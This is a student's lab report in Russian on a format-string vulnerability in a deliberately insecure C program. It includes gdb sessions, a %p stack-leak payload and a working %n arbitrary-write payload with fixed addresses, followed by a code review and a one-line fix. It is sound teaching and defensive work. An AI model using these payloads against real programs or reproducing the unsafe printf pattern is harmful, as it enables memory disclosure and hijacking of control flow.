Отчёт по практике 6

Бинарные уязвимости: format string, вариант 3

Выполнил: Колесников Андрей Юрьевич, 4 курс, группа БСБО-03-23, студенческий билет 23Б0099, номер по журналу 10

РТУ МИРЭА, Институт кибербезопасности и цифровых технологий

1. Вариант и цель

Номер студенческого билета 23Б0099 заканчивается на 9, поэтому по таблице вариантов взят вариант 3. В нём программа читает файл в буфер, а затем передаёт argv[1] напрямую в printf(). Требовалось провести динамическую отладку, разобрать код и предложить исправление. Уязвимость здесь не переполнение буфера, а управляемая строка формата (CWE-134), но она относится к тому же классу бинарных ошибок: пользовательский ввод меняет поведение машинного кода.

2. Исходный код и сборка

Исходный файл src/vuln_variant3.c взят из методички. Для наглядности в отладчике он собран 32-битным, без PIE и без stack protector:

```
gcc-12 -m32 -g -O0 -fno-stack-protector -no-pie -z execstack \
    -o build/vuln src/vuln_variant3.c
```

Ключевой фрагмент:

```
FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);          // ошибка: ввод стал строкой формата
fclose(secret);
```

Файл с «секретом» создаётся в контейнере и содержит строку SECRET{format_string_lab}. Проверок fopen и fgets в исходнике нет — это отдельные дефекты, но главная причина уязвимости в printf.

3. Динамическая отладка

В gdb поставлена точка останова на main+92 — непосредственно перед call printf, когда аргумент уже лежит на вершине стека. На первом запуске передан обычный текст AAAA. Видно, что буфер находится по адресу ebp-0x3c и содержит SECRET{format_string_lab}, а указатель FILE* лежит по ebp-0x1c. Строка формата — это argv[1], то есть данные, которые пользователь подал на вход программы.

```
Breakpoint 1 at 0x80491e2: file src/vuln_variant3.c, line 29.
warning: Error disabling address space randomization: Operation not permitted
```

```
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x080491e2 in main (argc=2, argv=0xfffadca4) at src/vuln_variant3.c:29
29          printf(argv[1]);

=== остановка перед printf, аргумент AAAA ===
eax            0xfffaed18          -332520
esp            0xfffadb80          0xfffadb80
ebp            0xfffadbd8          0xfffadbd8

-- вершина стека: аргумент printf --
0xfffadb80:    0xfffaed18    0x00000020    0x08af41a0    0x0804919e
-- строка формата --
0xfffaed18:    "AAAA"

-- буфер buffer (ebp-0x3c), туда прочитан файл --
0xfffadb9c:    0x53    0x45    0x43    0x52    0x45    0x54    0x7b    0x66
0xfffadba4:    0x6f    0x72    0x6d    0x61    0x74    0x5f    0x73    0x74
0xfffadbac:    0x72    0x69    0x6e    0x67    0x5f    0x6c    0x61    0x62
0xfffadbb4:    0x7d    0x0a    0x00    0xf7    0x4f    0x4a    0xcc    0xf7
0xfffadbbc:    0xa0    0x41    0xaf    0x08    0x00    0xdc    0xfa    0xff
0xfffadb9c:    "SECRET{format_string_lab}\n"

-- указатель FILE* secret (ebp-0x1c) --
0xfffadbbc:    0x08af41a0
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x080491e2 in main (argc=2, argv=0xff912c94) at src/vuln_variant3.c:29
29          printf(argv[1]);

=== остановка перед printf, аргумент с %%p ===
0xff913d05:    "%p.%p.%p.%p.%p.%p.%p.%p"
0x20.0x944d1a0.0x804919e.0xf7febff4.0x2c.(nil).0x52434553.0x667b5445[Inferior 1 (process 28)
exited normally]
```

Второй запуск с %p.%p... показывает, что printf читает аргументы дальше по стеку. Среди значений появляются 0x52434553 и 0x667b5445 — это байты SECR и ET{f из файла. Программа не собиралась печатать секрет, но он оказался в выводе из-за форматной строки. Это уже утечка памяти, а не безобидное эхо.

4. Демонстрация примитивов

Обычный запуск и утечка через %p:

```
--- normal ---
hello
--- leak ---
```

```
ARGV=0x20 argv2=0x98b41a0 stack3=0x804919e stack4=0xf7f1cff4 stack5=0x2c stack6=(nil)
stack7=0x52434553 stack8=0x667b5445
--- fixed with percent ---
ARGV=%p argv2=%p %n
exit=0
```

Для записи сделан отдельный стенд format_write_demo.c: он читает строку в стековый буфер и вызывает printf() от неё. В начале строки лежит адрес глобальной переменной target (0x0804c014), а %4$n пишет в неё число уже выведенных символов. Подбор смещения и результаты:

```
payload=b'\x14\xc0\x04\x08%62c%4$n\n'  rc=0
target = 0x00000042
payload=b'\x14\xc0\x04\x08%66c%4$n\n'  rc=0
target = 0x00000046
```

Так %62c%4$n записывает в target значение 0x42, а %66c%4$n — 0x46. Примитив произвольной записи доказан. В реальной программе вместо target можно выбрать адрес возврата или элемент GOT, если позволяют защиты; конкретный эксплойт зависит от сборки libc и включённых механизмов.

5. Код-ревью

Проблема	Где	CWE	Последствие
Ввод передан как строка формата	printf(argv[1])	CWE-134	чтение памяти, запись через %n, падение
Нет проверки argc	main	CWE-20	обращение к argv[1] при пустом argv
Нет проверки fopen	fopen(...)	CWE-252	fgets(NULL) при отсутствии файла
Секрет хранится в памяти процесса	buffer[32]	CWE-316	утечка через %s/%p или дамп
Отключены защиты	сборка -no-pie -z execstack	CWE-693	упрощает эксплуатацию, но это сделано для лабораторной

Главная ошибка — смешение данных и управляющей строки. printf получает первый аргумент как программу форматирования: %p читает слово со стека, %s разыменовывает указатель, %n записывает число по адресу. Даже если программа не печатает результат, %n может изменить память и привести к выполнению чужого кода. В варианте 3 есть все условия: управляемый первый аргумент, отсутствие проверки формата и полезные данные в памяти.

6. Исправление

Исправление минимальное: строка формата должна быть константой, а ввод — аргументом:

```
printf("%s\n", argv[1]);
```

В fixed_variant3.c дополнительно проверяются argc, fopen и fgets. Это не лечит форматную строку (её лечит только %s), но убирает падения при неправильном запуске. Проверка исправленной версии:

```
$ ./build/fixed "ARGV=%p argv2=%p %n"
ARGV=%p argv2=%p %n
```

Символы % больше не выполняются. Для реальной сборки нужно также включить -Wformat-security, -D_FORTIFY_SOURCE=2, PIE, stack protector и не отключать ASLR. Это не заменяет исправление, но повышает цену эксплуатации похожих ошибок.

6.1. Соответствие требованиям

Пункт задания	Что сделано	Где смотреть
1. Динамическая отладка программы с бинарной уязвимостью	32-битная сборка, breakpoint перед printf, разбор стека и буфера	раздел 3, results/gdb_session.log
2. Анализ кода и кодревью слабых мест	CWE-134, отсутствие проверок argc/fopen/fgets, секрет в памяти	раздел 5, таблица проблем
3. Предложить исправление	printf("%s", argv[1]) и проверки; собран fixed-бинарник	раздел 6, src/fixed_variant3.c
Вариант по номеру билета	23Б0099 оканчивается на 9 — вариант 3, printf(argv[1])	раздел 1, src/vuln_variant3.c
Показать эксплуатабельность	%p: фрагменты SECRET; %n: запись 0x42/0x46 в target	раздел 4, results/fmtwrite_write.txt

7. Выводы

В варианте 3 подтверждена format string vulnerability. В gdb видно, что printf получает пользовательский указатель как формат; практические запуски показывают утечку SECRET из буфера и запись 0x42/0x46 в глобальную переменную через %n. Исправление на одну строку (printf("%s", argv[1])) полностью убирает управление форматом, а дополнительные проверки argc, fopen и fgets убирают аварийные ситуации.

Ограничение: ASLR в контейнере полностью отключить не удалось, адреса стека меняются. На демонстрацию это не влияет, потому что смещение %4$n и адрес target фиксированы (сборка -no-pie). Все действия выполнялись в локальном учебном контейнере, файл с секретом — тестовый.